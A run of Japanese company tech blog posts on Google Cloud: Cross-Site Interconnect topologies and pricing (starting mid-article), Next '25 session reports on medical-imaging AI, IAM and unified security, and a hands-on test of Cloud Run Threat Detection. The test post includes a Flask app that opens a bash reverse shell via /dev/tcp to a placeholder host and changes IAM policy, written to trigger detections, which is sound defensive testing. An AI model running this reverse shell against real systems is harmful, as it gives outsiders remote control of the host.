VLAN（仮想ネットワーク）を持つことができます。これにより、1つの Cross-Site Interconnect 接続（専用線接続）で、3つ以上の拠点間を接続することが可能になります。 また、ワイヤーグループには、 ワイヤー帯域幅 （Wire bandwidth）を設定できます。設定する帯域幅は、物理回線の帯域幅の合計を超えてはいけません。 クロスサイトネットワーク クロスサイトネットワーク は、ワイヤーグループをグルーピングするオブジェクトです。 ワイヤーグループのトポロジ シングルワイヤー シングルワイヤートポロジ （Single-wire topology）は、1本のワイヤーのみを使用する構成です。ワイヤーが単一のため、冗長性に劣ります。 シングルワイヤートポロジ 冗長トポロジ 冗長トポロジ （Redundant topology）は、2本のワイヤーを使用して、冗長性を確保する構成です。相互接続される2つの拠点は、それぞれメトロ（都市圏）の中の別のエッジ可用性ドメインに接続されている必要があります。つまり、Cross-Site Interconnect 接続（専用線接続）は 4つ になります。 冗長トポロジ メトロ （metro または metropolitan area）とは、Cloud Interconnect のコロケーション施設を収容する都市圏のことです。例として日本には、Tokyo と Osaka の2つのメトロがあります。Tokyo には、AT Tokyo CC2（ nrt-zone1-738 ）や Equinix Tokyo TY2（ nrt-zone1-452 ）といったコロケーション施設が含まれています。 エッジ可用性ドメイン （旧称 メトロアベイラビリティゾーン）とは、メトロの中の可用性ゾーンです。別々のエッジ可用性ドメインでは、定期メンテナンスのタイミング等が分離されています。例として、メトロ Tokyo に存在する AT Tokyo CC2 は、 nrt-zone1-738 と nrt-zone2-738 という、2つの異なるエッジ可用性ドメインのコロケーション施設を持っています。 ボックスアンドクロストポロジ ボックスアンドクロストポロジ （Box-and-cross topology）は、最も可用性が高い構成です。冗長トポロジと同じく、相互接続される2つの拠点は、それぞれメトロ（都市圏）の中の別のエッジ可用性ドメインに接続されている必要があります。こちらも、Cross-Site Interconnect 接続（専用線接続）は 4つ になります。 それぞれの接続はクロスで接続されており、いずれかのワイヤーが障害を起こした際にも、別のワイヤーにより接続性が確保されます。VLAN モードのワイヤーグループでは、このトポロジが推奨されています。 ボックスアンドクロストポロジ ネットワークのトポロジ ハブアンドスポークトポロジ 前述のワイヤーグループのトポロジは、拠点間で冗長性を確保するための、ワイヤーグループの構成を扱ったものでした。ここから説明するネットワークトポロジは、3つ以上の拠点間を接続する際の、拠点間ネットワークの全体像を表すトポロジです。 3つ以上の拠点を相互接続する場合、Cross-Site Interconnect 接続（専用線接続）が1つでも、VLAN モードを使用することで、複数のワイヤーグループを作成できます。 ハブアンドスポークトポロジ は、1つの拠点をハブとして、スポークとなる拠点を追加する構成です。図では、ワイヤーはシングルワイヤートポロジを採用しています。 ハブアンドスポークトポロジ リンクトポロジ リンクトポロジ は、すべての拠点間でフルメッシュでワイヤーを接続する構成です。図では、ワイヤーはシングルワイヤートポロジを採用しています。 リンクトポロジ（フルメッシュ） 詳細な設定 MTU Cross-Site Interconnect では、MTU（Maximum Transmission Unit）は9,000バイトに固定であり、変更できません。 暗号化 ポートモードのワイヤーグループでは、レイヤ2用の暗号化プロトコルである MACsec を利用可能です。 また、ワイヤーグループのモードに関わらず、IPsec や SSL/TSL のような L3レイヤ以上の暗号化技術は、問題なく利用できます。 構築 Cross-Site Interconnect をプロビジョン（構築）するには、接続する拠点（専用線接続）ごとに、Cross-Site Interconnect の利用申請を行います。これに基づいて Google は、必要なリソースの割り当てと、LOA-CFA の発行を行います。 ユーザーは、Google から発行された LOA-CFA をネットワークサービスプロバイダーに提出して、コロケーション施設から Google へのネットワーク接続を手配してもらいます。 詳細は、以下の公式ドキュメントを参照してください。 参考 : Cross-Site Interconnect overview - Provisioning 参考 : Cross-Site Interconnect provisioning overview 料金 Cross-Site Interconnect の料金は、物理接続と、ワイヤーのそれぞれに発生します。 物理回線に対しては、10 Gbps 回線では $2.328 /時、100 Gbps 回線では $23.28 /時の料金が発生します。 ワイヤーに対しては、時間あたりの料金が発生する予定ですが、パブリックプレビュー状態である2025年4月現在、料金は発生しません。また、一般公開（GA）後の料金は公表されていません。 参考 : Cloud Interconnect pricing - Cross-Site Interconnect pricing 杉村 勇馬 (記事一覧) 執行役員 CTO / クラウドソリューション部 部長 元警察官という経歴を持つ現 IT エンジニア。クラウド管理・運用やネットワークに知見。AWS 12資格、Google Cloud認定資格11資格。X (旧 Twitter) では Google Cloud や AWS のアップデート情報をつぶやいています。 Follow @y_sugi_it

G-gen の奥田です。本記事は Google Cloud Next '25 in Las Vegas の3日目に行われたソリューショントーク「 AI-powered cancer detection in medical imaging 」 のレポートです。 他の Google Cloud Next '25 の関連記事は Google Cloud Next '25 カテゴリ の記事一覧からご覧いただけます。 セッションの概要 AI を利用するための未来 マルチモーダル AI の力 検討要素 解決策の紹介 Health AI developer Foundation （HAI-DEF） HAI-DEF からの提供モデル Healthcare API と Google Cloud サービスの統合 質疑応答 質問1 : Med-Gemini の今後 質問2 : 診断用 AI モデルの医療業界における普及状況 質問3 : 医療業務における AI 利用 関連記事 セッションの概要 本セッションでは、 主にGoogle が運営する医療開発者向けのオープンウェイトモデルである、 Health AI developer Foundation （ HAI-DEF ）について紹介されました。 AI を利用するための未来 マルチモーダル AI の力 マルチモーダル AI の力を活用することでがん検出の未来が救われることが主張されました。 特に放射線科では、レントゲン撮影や MRI などをはじめとする画像診断が頻繁に行われます。画像を元に肺の状況の変化など、患者の状況を適切な方法で見つけ、状況を理解することが重要です。 検討要素 医療問題を AI を使って解決には、以下の要素を検討する必要があります。 説明可能性 AI を利用するにあたり、臨床医は AI の回答の根拠を理解する必要があります。 倫理的影響 ヘルスケア分野で AI を活用するにあたっては、様々な倫理的な影響を考慮する必要があります。 コンプライアンスの遵守 AI を使った医療サービスを提供するには、厳しい規制や法的な基準をクリアしなければなりません。 解決策の紹介 Health AI developer Foundation （HAI-DEF） Google の Health AI developer Foundation （ HAI-DEF ）が紹介されました。HAI-DEF とは、ヘルスケア用 AI モデル開発のための オープンウェイトモデル です。オープンウェイトモデルとは、オープンソースではないものの、AI モデルのウェイトが公開されており、ファインチューニングや蒸留等、カスタマイズの自由度が高いモデルのことです。 参考 : Health AI developer Foundation HAI-DEF の特徴は以下のとおりです。 事前トレーニング済みモデル HAI-DEF は事前トレーニングモデルです。新しいモデルを開発する能力が小さい、小規模な病院や研究機関でも利用可能です。 カスタマイズ可能 HAI-DEF は、カスタマイズ性が高い オープンウェイトモデル です。また Google Cloud だけではなく、他のプラットフォーム上で稼働させることができます。 Google Cloud との統合 HAI-DEF は、Vertex AI、Cloud Storage、DICOM stores とネイティブに統合された、本番環境対応のスケーラブルなサービスとして Google Cloud にデプロイできます。 参考 : DICOM ストアの作成と管理 HAI-DEF からの提供モデル 以下の4つのモデルが紹介されました。 CXR Foundation （胸部X線基盤） Path Foundation （病理基盤） Derm Foundation （皮膚科基盤） CT Foundation （CT 基盤） Healthcare API と Google Cloud サービスの統合 Cloud Healthcare API とは、FHIR、HL7v2、DICOM 形式等の医療データを、コンプライアンス標準に準拠した方法で安全に取り込み、保存、変換するための Google Cloud サービスです。Cloud Healthcare API により、病院や医療機関が持っている医療情報を、安全に管理したり、活用できるようになります。 Cloud Healthcare API が、BigQuery や Vertex AI、Cloud Storage など、様々な Google Cloud サービスと統合可能であることが紹介されました。 例えば Cloud Healthcare API から抽出・変換したメタデータや分析結果を BigQuery にロードし、大規模なデータ分析や SQL ベースでのクエリを実行したり、 Looker 上で分析結果を可視化することが可能です。 参考 : Cloud Healthcare API 質疑応答 本セッションの後半では、参加者と登壇者による質疑応答が行われました。以下に、行われた質疑の一部を記載します。 質問1 : Med-Gemini の今後 質問 Med-Gemini は今後どうなりますか。 補足 Med-Gemini は、昨年4月の論文で発表された、Google DeepMind の 医療分野特化型の大規模言語モデル です。Gemini モデル群の一部であり、特に診断支援や医療データ解析といったヘルスケア領域への適用を目的として設計されました。 参考 : Capabilities of Gemini Models in Medicine 回答 Google Deepmind によるMed-Gemini に関する論文が昨年発表されましたが、まだ運用されていません。 最新モデルである Gemini 2.5 Pro をはじめとする現在の Gemini には、Med-Gemini の基盤となる理解力があるため、今の時点では既存の Gemini で代替することが推奨されます。 質問2 : 診断用 AI モデルの医療業界における普及状況 質問 診断用 AI モデルの医療業界における普及状況はどうなっていますか。 回答 診断用 AI、特に医療画像 AI は、アメリカのFDA（食品医療局） による市販前届出（510（k））を受けているものが多数あり、既に多くの病院で使われています。 参考 : 医療機器の現地輸入規則および留意点：米国向け輸出（JETRO ホームページ） 質問3 : 医療業務における AI 利用 質問 医療業務において AI 利用は当たり前となりますか。 回答 AI はすでに一部の医療業務において標準的なツールとして活用されており、今後さらに普及が進むと考えられます。現時点では、放射線科、画像診断センター、独立系画像診療所などで AI を用いた診療モデルが多数存在します。 例えば、全身 MRI 検査を受け、その結果を AI アルゴリズムで自動解析するビジネスモデルが既に運用されています。これにより、患者は迅速かつコスト効率よく診断情報を得ることが可能になっています。 ただし、AI が診断を 完全に自動化するわけではありません 。診断の最終判断は、依然として医師（特に放射線科医）が担っており、AI はあくまで補助的役割です。 これまで「AI が医師を代替する」との見解も存在しましたが、現実には、AI は 医師の意思決定を支援し、医療の質を高める ことを目的としています。 関連記事 blog.g-gen.co.jp Risa (記事一覧) クラウドソリューション部クラウドデベロッパー課 Google Cloudの可能性に惹かれ、2024年4月G-genにジョイン。 Google Cloud Partner Top Engineer 2025 Google Cloud 11 資格保有。日々修行中です！ Follow @risa_hochiminh

G-gen の三浦です。当記事では、 Cloud Run Threat Detection を検証した結果を紹介します。 概要 Cloud Run Threat Detection とは 2つの検出機能 Artifact Analysis との違い 注意事項 検証内容 検証 脅威検出機能の有効化 Cloud Run のデプロイ ディレクトリ構成 Dockerfile main.py requirements.txt 疑似攻撃の実行と検出結果の確認 概要 Cloud Run Threat Detection とは Cloud Run Threat Detection とは、Cloud Run で実行されているアプリケーションに対する攻撃や不正な操作ログを検出するセキュリティ機能です。実行中の Cloud Run アプリケーションを継続的にモニタリングし、ニアリアルタイムで Security Command Center（以下、SCC）に検出結果を報告します。 検査対象リソースは、 Cloud Run サービス および Cloud Run ジョブ です。 参考 : Cloud Run の脅威検出の概要 当機能は、SCC の プレミアムティア または エンタープライズティア でのみ利用可能です。 参考 : Security Command Center のサービスティア 参考 : Security Command Centerを徹底解説。Google Cloud(GCP)の脆弱性を自動検知 - G-gen Tech Blog - Security Command Center とは なお当記事の検証結果やスクリーンショットは、2025年4月現在（プレビュー期間中）のものです。当機能は2025年9月に一般公開（GA）されました。 2つの検出機能 Cloud Run Threat Detectionには、 ランタイム検出 と コントロールプレーン検出 の2種類の検出方法が含まれており、違いは以下のとおりです。 検出種類 対応している Cloud Run の世代 具体的な検出内容の例 ランタイム検出 第2世代のみ コンテナエスケープ、悪意のあるバイナリやスクリプトの実行、偵察ツールの使用など コントロール プレーン検出 第1世代・第2世代 クリプトマイニングの兆候や、不審な IAM 設定変更などの操作ログを検出 参考 : Cloud Run の脅威検出の概要 - 検出項目 Artifact Analysis との違い 類似機能として、Artifact Registry に保存されたコンテナイメージの脆弱性をスキャンする Artifact Analysis があります。 両機能の違いは以下のとおりで、検出タイミングや対象、目的が異なり、相互に補完しあいます。 機能名 検出対象 検出タイミング ユースケース Cloud Run の脅威検出 コンテナ本体 実行時（ランタイム） 本番環境における異常検知・不正アクセスの監視 Artifact Analysis コンテナイメージ イメージの Push 時、または手動スキャン時 リリース前のセキュリティチェック 参考 : Artifact Analysis の概要 注意事項 当機能を組織またはプロジェクトで有効にすると、 第 1 世代の実行環境を指定した Cloud Run サービスは新たに作成できなくなります 。事前にご確認ください。 Cloud Run 脅威検出を有効にすると、第 1 世代の実行環境で実行される Cloud Run サービスまたはサービス リビジョンを作成できません。Cloud Run サービスは第 2 世代の実行環境を使用する必要があります。Cloud Run の脅威検出を有効にする前に、第 2 世代の実行環境でワークロードをテストすることをおすすめします。 参考 : ランタイム検出機能でサポートされている実行環境 各実行環境の特徴については、以下の記事および公式ドキュメントをご参照ください。 参考 : サービス実行環境について 参考 : Cloud Runを徹底解説！ - G-gen Tech Blog - コンテナ実行環境（世代） 検証内容 検証手順は次のとおりです。 項番 内容 説明 1 脅威検出機能の有効化 検証プロジェクトで SCC のプレミアムティアを有効化し、Cloud Run の脅威検出機能を有効化する 2 Cloud Run のデプロイ 脅威検出対象となる Cloud Run サービスをデプロイする 3 疑似攻撃の実行と検出結果の確認 コンテナ内で疑似的な悪意のある操作を行い、ランタイム検出とコントロールプレーン検出による検知を確認する 検証 脅威検出機能の有効化 プロジェクトセレクタで検証用プロジェクトが選択されていることを確認したあと、[セキュリティ] > [リスクの概要] から [プレミアムへ切り替え] を選択します。 リスクの概要を選択 プレミアムへ切り替えを選択 プレミアム ティア が選択されていることを確認し、[次へ] を選択します。 ティアの確認と次へを選択 以下を設定し、[ティアを更新] を選択します。 Cloud Run の脅威検出： 有効にする 脅威検出の有効化とプレミアムティアへの変更 階層が Security Command Center Premium と表示されることを確認します。 プレミアムティアへの変更確認 Cloud Run のデプロイ ディレクトリ構成 ディレクトリ構成は以下の通りです。 . ├── Dockerfile ├── main.py └── requirements.txt Dockerfile FROM google/cloud-sdk:slim 　 # 作業ディレクトリ WORKDIR /app 　 # Python 関連ツールをインストール RUN apt-get update && \ apt-get install -y python3 python3-venv python3-pip && \ apt-get clean 　 # Python 仮想環境を構築して有効化 RUN python3 -m venv /app/venv ENV PATH= "/app/venv/bin:$PATH" 　 # Flask のインストール COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt 　 # アプリケーションコード COPY main.py . 　 # ポート指定（Cloud Run） ENV PORT=8080 　 # アプリ起動 CMD [ " python ", " main.py " ] main.py この Flask アプリは、Cloud Run の脅威検出機能を検証するためのものです。 /simulate にアクセスすると、リバースシェル通信と IAM 設定変更を疑似的に実行します。 from flask import Flask import os import subprocess import logging 　 # Flask アプリの起動 app = Flask(__name__) logging.basicConfig(level=logging.INFO) 　 # ========================================== # 必須の環境変数を取得 # デプロイ時に --set-env-vars で設定します # ========================================== REVERSE_SHELL_HOST = os.environ.get( "REVERSE_SHELL_HOST" ) # 疑似リバースシェルの接続先ホスト PROJECT_ID = os.environ.get( "PROJECT_ID" ) # GCP プロジェクト ID PROJECT_NUMBER = os.environ.get( "PROJECT_NUMBER" ) # GCP プロジェクト番号（数値） SERVICE_NAME = os.environ.get( "SERVICE_NAME" ) # この Cloud Run サービス名 REGION = os.environ.get( "REGION" , "asia-northeast1" ) # リージョン（デフォルト: 東京） 　 # リバースシェル用の接続ポート（固定） REVERSE_SHELL_PORT = "80" 　 # ========================================== # 必須環境変数のチェック # ========================================== if not all ([REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME]): raise EnvironmentError ( "環境変数 REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME をすべて設定してください。" ) 　 # ========================================== # GET / → 簡易ステータス確認用 # ========================================== @ app.route ( "/" ) def index (): return "Cloud Run Threat Detection simulation is ready. \n " 　 # ========================================== # GET /simulate # 疑似リバースシェル（ランタイム検出）と IAM 操作（コントロールプレーン検出）を一括実行 # ========================================== @ app.route ( "/simulate" ) def simulate (): logging.warning(f "🚨 Simulating reverse shell to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT}" ) 　 # ✅ ランタイム検出: 疑似リバースシェルを実行（CLOUD_RUN_REVERSE_SHELL） subprocess.run([ "bash" , "-c" , f "bash -i >& /dev/tcp/{REVERSE_SHELL_HOST}/{REVERSE_SHELL_PORT} 0>&1 || true" ]) 　 # ✅ コントロール プレーン検出: IAM ポリシー変更（CLOUD_RUN_SERVICES_SET_IAM_POLICY） # デフォルトの GCE サービスアカウントを Cloud Run の Invoker に追加 default_sa = f "{PROJECT_NUMBER}-compute@developer.gserviceaccount.com" logging.warning(f "🔐 Binding default GCE SA ({default_sa}) to {SERVICE_NAME}" ) 　 subprocess.run([ "gcloud" , "run" , "services" , "add-iam-policy-binding" , SERVICE_NAME, "--member" , f "serviceAccount:{default_sa}" , "--role" , "roles/run.invoker" , "--region" , REGION, "--project" , PROJECT_ID ]) 　 logging.warning( "✅ Threat simulation completed." ) return ( f "Reverse shell simulated to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT} \n " f "IAM policy updated for {default_sa} on {SERVICE_NAME} \n " ) 　 if __name__ == "__main__" : port = int (os.environ.get( "PORT" , 8080 )) app.run(host= "0.0.0.0" , port=port) requirements.txt flask 以下コマンドで Container Threat Detection API を有効化します。 # プロジェクト ID export PROJECT_ID = " myproject " 　 # API を有効化 gcloud services enable containerthreatdetection.googleapis.com \ --project = $PROJECT_ID 上記 API が無効な場合、以下ログが出力され、脅威検知が実施されませんので、ご注意ください。 textPayload: "W0410 08:36:54.096441 8 ktdclient.go:334] ktdclient connection closed unexpectedly: failed to receive initial response from ktd service: rpc error: code = PermissionDenied desc = Container Threat Detection API has not been used in project XXXXX before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/containerthreatdetection.googleapis.com/overview?project=XXXXX then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry." 以下のコマンドで Cloud Run サービスをデプロイします。 # イメージと Cloud Run サービス名 export SERVICE_NAME =cloudrun-test 　 # Cloud Run から TCP/80 に接続するテスト用ホストを指定します（例：dev.yourdomain.com） # リバースシェルの動作を再現するため、HTTP 通信が可能な検証用 FQDN を使用してください export REVERSE_SHELL_HOST =dev.yourdomain.com 　 # プロジェクト ID と番号を自動取得 export PROJECT_ID = $( gcloud config get-value project ) export PROJECT_NUMBER = $( gcloud projects describe $PROJECT_ID --format =" value(projectNumber) " ) 　 # Cloud Run サービスのデプロイ gcloud run deploy $SERVICE_NAME --source . \ --region = asia-northeast1 \ --allow-unauthenticated \ --set-env-vars REVERSE_SHELL_HOST = $REVERSE_SHELL_HOST , PROJECT_ID = $PROJECT_ID , PROJECT_NUMBER = $PROJECT_NUMBER , SERVICE_NAME = $SERVICE_NAME 疑似攻撃の実行と検出結果の確認 Cloud Run サービスへアクセスします。 # Cloud Run サービスの URL を環境変数に設定 export CLOUD_RUN_URL = $( gcloud run services describe $SERVICE_NAME \ --region = asia-northeast1 \ --project = $PROJECT_ID \ --format =" value(status.url) " ) 　 # Cloud Run サービスの /simulate エンドポイントへアクセス curl -s " ${CLOUD_RUN_URL} /simulate " [セキュリティ] >[検出結果] から [Cloud Run Threat Detection] と [Event Threat Detection] を選択し、脅威を検出していることを確認します。 検出した脅威の確認 脅威の詳細（ランタイム検出） 脅威の詳細（コントロール プレーン検出） 三浦 健斗 (記事一覧) クラウドソリューション部 2023年10月よりG-genにジョイン。元オンプレ中心のネットワークエンジニア。ネットワーク・セキュリティ・唐揚げ・辛いものが好き。

G-gen の山崎です。本記事は Google Cloud Next '25 in Las Vegas の1日目に行われたブレイクアウトセッション「 What’s new with IAM and Org Policy : Access risk, at-scale governance and AI 」のレポートです。 他の Google Cloud Next '25 の関連記事は Google Cloud Next '25 カテゴリ の記事一覧からご覧いただけます。 セッションの概要 Google Cloud のセキュリティプラットフォーム Google Cloud のセキュリティプラットフォームの全体像 Resource Management の新機能 Application management with Resource Manager Cloud Governance の新機能 Custom Constraints の対象サービスの拡充 Google Cloud Security Baseline Identity の新機能 Workforce Identity Federation の対象製品の拡充 Keyless access to Google Cloud APIs using X.509 certificates Managed Workload Identity Access Management の新機能 アクセス管理の現状 IAM Deny、Privileged Access Manager のサービス強化 Privileged Access Manager のサービス強化 Gemini-powered-Role Picker Entitlement Management IAM Admin Center Access Risk の新機能 Automatic ReAuth for 11 sensitive actions ITDR with Context-Aware Access 関連記事 セッションの概要 本セッションでは、Google Cloud のセキュリティプラットフォームに関する新機能の紹介が行われました。 Google Cloud のセキュリティプラットフォーム Google Cloud のセキュリティプラットフォームの全体像 Google Cloud のセキュリティプラットフォームは以下の5つの軸で構成されています。 Resource Management Google Cloud 上、組織、フォルダ、プロジェクトのツリーで構成され、Google Cloud で作成されるリソースを実際の組織階層、部門、チーム、環境（本番環境/開発環境）に基づいて整理、管理を行う Cloud Governance リソース作成・変更時に、適切な構成とセキュリティ体制を保証する Identity 人と人以外（マシンやサービスアカウント等）の ID の登録、管理を行う Access Management どの ID がどのリソースにアクセスできるかを制御する Access Risk ID がログイン後、そのセッションのリスクを継続的に評価・管理を行う また、これらの要素は相互に連携し、Gemini による AI 機能で強化されることで、より効果的なセキュリティ運用を可能にするとしました。 Resource Management の新機能 Application management with Resource Manager 組織のリソース階層内のフォルダを用いたアプリケーション管理機能がプレビュー公開されました。 フォルダ階層下の複数のプロジェクトにまたがったアプリケーションの管理をすることができ、 ビジネス視点で意味のある単位でアプリケーションの管理が可能 となります。 参考 : Managing applications in a folder Cloud Governance の新機能 Custom Constraints の対象サービスの拡充 Custom Constraints とは、ユーザーが自ら作成できる制約です。 今までは、Custom Constraints が使用できるサービスは4つでしたが、現在は、57のサービスが一般公開（GA）されており、5つのサービスがプレビュー公開であるとしました。 また、今年の目標としては、100〜125のサービスを対象にしたいとしました。 参考 : Custom constraints また、Gemini を用いた Custom Constraints の作成が可能となり、Gemini に要求事項を伝えることで Custom Constraints の作成、及びシミュレーターでのテスト結果が共有されるとしました。 Google Cloud Security Baseline 2024年初頭以降に新しく作成された Google Cloud 組織では、いくつかの制約がはじめから有効化されるようになりました。 参考 : デフォルトで安全な組織リソースの管理 Identity の新機能 Workforce Identity Federation の対象製品の拡充 現在、95% 以上の Google Cloud 製品が Workforce Identity Federation のサポート範囲であるとしました。 95% としている理由は、新しい製品が常に構築されており、プレビュー等の段階を経ている間は、Workforce Identity Federation のサポート対象外である可能性があるためであり、一般公開（GA）された製品に対しては、Workforce Identity Federation をもつことを義務付けているとしました。 また、Workforce Identity Federation において、MFA とセッション長の強制を導入予定としました。 Keyless access to Google Cloud APIs using X.509 certificates X.509 証明書を用いた Google Cloud API へのキーレスアクセスが一般公開（GA）されました。 これによりワークロードはサービスアカウントキーを発行することなく、有効期間が短い認証情報を使用して Google Cloud APIs にアクセスすることが可能となります。 参考 : X.509 証明書を使用して Workload Identity 連携を構成する Managed Workload Identity Managed Workload Identity が GCE、GKE 向けにプレビュー版として提供されました。（Cloud Run は近日公開予定。） こちらも X.509 証明書を使用しており、有効期間が短い認証情報を使用してワークロード間の認証を確実に行うことができます。 参考 : マネージド ワークロード ID の概要 Access Management の新機能 アクセス管理の現状 Microsoft のマルチクラウドセキュリティレポートの内容の共有がありました。 そのレポートは、51,000種類の権限を2億900万の ID に対して付与しているが、その中で使用されているものはわずか 2% であり、 50% 以上が高リスク であるとし、大規模なセキュリティ問題を引き起こす可能性があるものだとしました。 この現状に対して、Google Cloud は以下2点の内容で対処していくとしました。 Defense-in-depth for IAM IAM Deny Privileged Access Manager Principal Access Boundary Improve IAM hygiene 権限付与時（Day 0）、権限付与後（Day N）における適切な権限付与 IAM Deny、Privileged Access Manager のサービス強化 IAM Deny は現在73のサービスでサポートされており、シミュレーターはプレビュー公開、トラブルシューターは一般公開（GA）であるとしました。 また、Privileged Access Manager は現在30のサービスでサポートされており、シミュレーター、トラブルシューター共にプレビュー公開であるとしました。 Privileged Access Manager のサービス強化 権限の付与を行う際の承認者を複数設定することができるようになりました。 これにより、ティア1、ティア2といった段階を踏んだ承認を行うことができます。 また、権限の作成、承認時に権限を与える範囲を特定のフォルダやプロジェクトにのみ与えることが可能となりました。 Gemini-powered-Role Picker Gemini-powered-Role Picker がプライベートプレビューとして提供されました。 Gemini を用いて自然言語で必要なロールの特定が可能となり、権限を付与するタイミング（Day 0）から実行に必要な権限のみを与えることが容易となります。 Entitlement Management Entitlement Management に Azure をプレビュー公開予定であるとしました。 複数のクラウド プラットフォーム上のデプロイメントでどの ID がどのリソースにアクセスできるかを管理し、誤った構成によって生じる潜在的な脆弱性を軽減できます。 IAM Admin Center IAM Admin Center がプレビュー公開予定としました。 役割に応じたダッシュボードが表示され、セキュリティに関する洞察や推奨事項、シュミレーション中やドライラン状態の権限の照会等といった、組織全体のセキュリティ強化を支援します。 Access Risk の新機能 Automatic ReAuth for 11 sensitive actions Automatic ReAuth がプレビュー公開されました。 ユーザーが機密性の高いアクションを行った際に、ユーザーに再認証を強制することができます。（現在は11個の機密性の高いアクションが対象） 機密性の高いアクションを繰り返し実施するユースケースを考慮し、再認証後15分間は機密性の高いアクションを行ったとしても再認証は不要とする設定も行うことができます。 ITDR with Context-Aware Access ITDR（Identity Threat Detection and Response） with Context-Aware Access が近日公開予定としました。 ユーザーの様々な行動（ログイン場所、時間、操作内容など）を示す60種類以上の情報を分析し、通常とは異なる疑わしいアクションやIDに関する脅威を特定します。 検出されたリスクレベルに応じて、システムでの対処を可能とします。（多要素認証、再認証、アクセス拒否 等） 関連記事 blog.g-gen.co.jp 山崎 曜 (記事一覧) クラウドソリューション部 元は日系大手SIerにて金融の決済領域のお客様に対して、PM／APエンジニアとして、要件定義〜保守運用まで全工程に従事。 Google Cloud Partner Top Engineer 2025 選出。 Google Cloud 全 12 資格保有。 フルスタックな人材を目指し、日々邁進。 Follow @Akira_Yamasakit

G-gen の道下です。本記事は Google Cloud Next '25 in Las Vegas の 2日目に行われたスポットライトセッション「 What​​’s next for security professionals 」のレポートです。 他の Google Cloud Next '25 の関連記事は Google Cloud Next '25 カテゴリ の記事一覧からご覧いただけます。 セッションの概要 Google Unified Security（GUS）とは Google Security Operations（Google SecOps） Data pipeline Management Mandiant Threat Defence Security Command Center（SCC） AI Protection Model Armor が Vertex AI に統合 Compliance Manager Gemini in Security agent Google Chrome Enterprise Data Masking Employee phishing protection セッションの概要 本セッションでは、1日目のキーノート（基調講演）で発表された Google Unified Security （GUS）をはじめ、GUS を構成する Google Security Operations、Security Command Center、Google Chrome Enterprise、Mandiant Consulting の各サービス紹介と、アップデートの説明がありました。 当記事は、同セッションの内容と、一部に以下の記事の情報を組み合わせて紹介しています。 参考 : Driving secure innovation with AI and Google Unified Security Google Unified Security（GUS）とは Google Unified Security （GUS）は、既存ソリューションである Google Security Operations（Google SecOps）、Google Chrome Enterprise（旧 BeyondCorp）、Mandiant（セキュリティに関するコンサルティング）、Security Command Center、Google Threat Intelligence を統合したソリューションです。 参考 : Google Cloud Next '25 速報レポート - キーノート（1日目） - G-gen Tech Blog - Google Unified Security（GUS） Google Unified Security には以下ような特徴があります。 Google の大規模インフラ上で動作し、Gemini を活用したセキュリティプラットフォーム Google製品とサードパーティのデータを統合し、セキュアなデータファブリックを構築可能 データファブリックは、可視性、検索性、AI のために利用 Google のThreat Intelligence やコンテキストグラフなどでデータを自動的に補強 SecOps 環境とクラウドセキュリティ環境を統合し、セキュリティワークフローを最適化 Gemini を活用した自動化の仕組みによって、作業負荷を軽減し、効率を向上 Google Security Operations（Google SecOps） Google Security Operations（Google SecOps）は、大規模なセキュリティデータと分析を網羅した、TDIR（Threat Detection、Investigation、 Response）ワークフローを備えたサービスです。セッションでは、Google Security Operations を構成する機能のアップデートが、複数発表されました。 Data pipeline Management Data pipeline Management （一般公開。以下、GA）は、Google SecOps で収集されたセキュリティ関連データを分析するために、変換、フィルタリング、機密データの削除などを行うデータパイプライン機能です。 Mandiant Threat Defence Mandiant Threat Defence は、SecOps に組み込まれているコンサルティングサービスです。Mandiant チームのセキュリティ専門家が、脅威ハンティング、コンテンツ作成、調査などを支援します。 Security Command Center（SCC） Security Command Center（SCC）でも、複数の機能のアップデートが発表されました。 AI Protection AI Protection は、環境から AI ワークロードを検出してインベントリ化したり、AI モデルやデータの保護、AI アプリケーションへの攻撃の検出、調査、対応が可能になる機能です。 AI Protection は Security Command Center に組み込まれており、後述する Model Armor とも組み合わせて利用します。 参考 : Announcing AI Protection: Security for the AI era Model Armor が Vertex AI に統合 Model Armor は、AI Protection の一部で、プロンプトとレスポンスに対してフィルタリングを行い、セキュリティコントロールを適用できます。今回、Model Armor が Vertex AI に直接統合 されることが発表されました。 従来、Model Armor では、アプリケーション側から Model Armor API にプロンプトやレスポンスを投入する必要がありましたが、この統合により、ソースコードを変更することなく、プロンプトやレスポンスが Model Armor にルーティングされるよう設定できます。 参考 : Model Armorを徹底解説！ - G-gen Tech Blog Compliance Manager Compliance Manager は、ポリシーの定義や、統制機能の適用、モニタリングなどを統合するワークフローです。Assured Workloads をベースとしており、監査対応などに活用できます。2025年6月にプレビュー版が公開予定です。 Gemini in Security agent Gemini in Security agent は、検出エンジニアリング、Playbook の作成、コード解析、リバースエンジニアリングを実行できるようにトレーニングされたエージェントです。この Gemini in Security agent は、Google SecOps と Google Threat Intelligence へ導入されます。 Google SecOps では、 アラートトリアージエージェント （alert triage agent）が、Google Threat Intelligence には マルウェア分析エージェント （malware analysis agent）が、それぞれ導入されます。 Gemini in Security agent を活用することで、環境設定の作業負荷を軽減し、安全な環境を実現することができます。 Google Chrome Enterprise Chrome Enterprise Premium でも、新しい機能追加が発表されました。 Data Masking Data Masking は、企業ユーザーがブラウザで機密データを表示する際に、マスキングを行う機能です。 Employee phishing protection Employee phishing protection は、フィッシング詐欺への対策機能です。フィッシングによる、認証情報の取得を阻止することができます。 この機能では、Google のセーフブラウジングのデータが活用されています。 道下 千晃 (記事一覧) クラウドソリューション部 大阪府在住。Google Cloud Certification 全11冠 Google Cloud にはいろいろなサービス、プロダクトがあって楽しいですね。 趣味はテニス、オンラインゲーム（世界を救ったり、魚を釣ったり、武器防具を作ったり） Follow @Chiaki_Michi

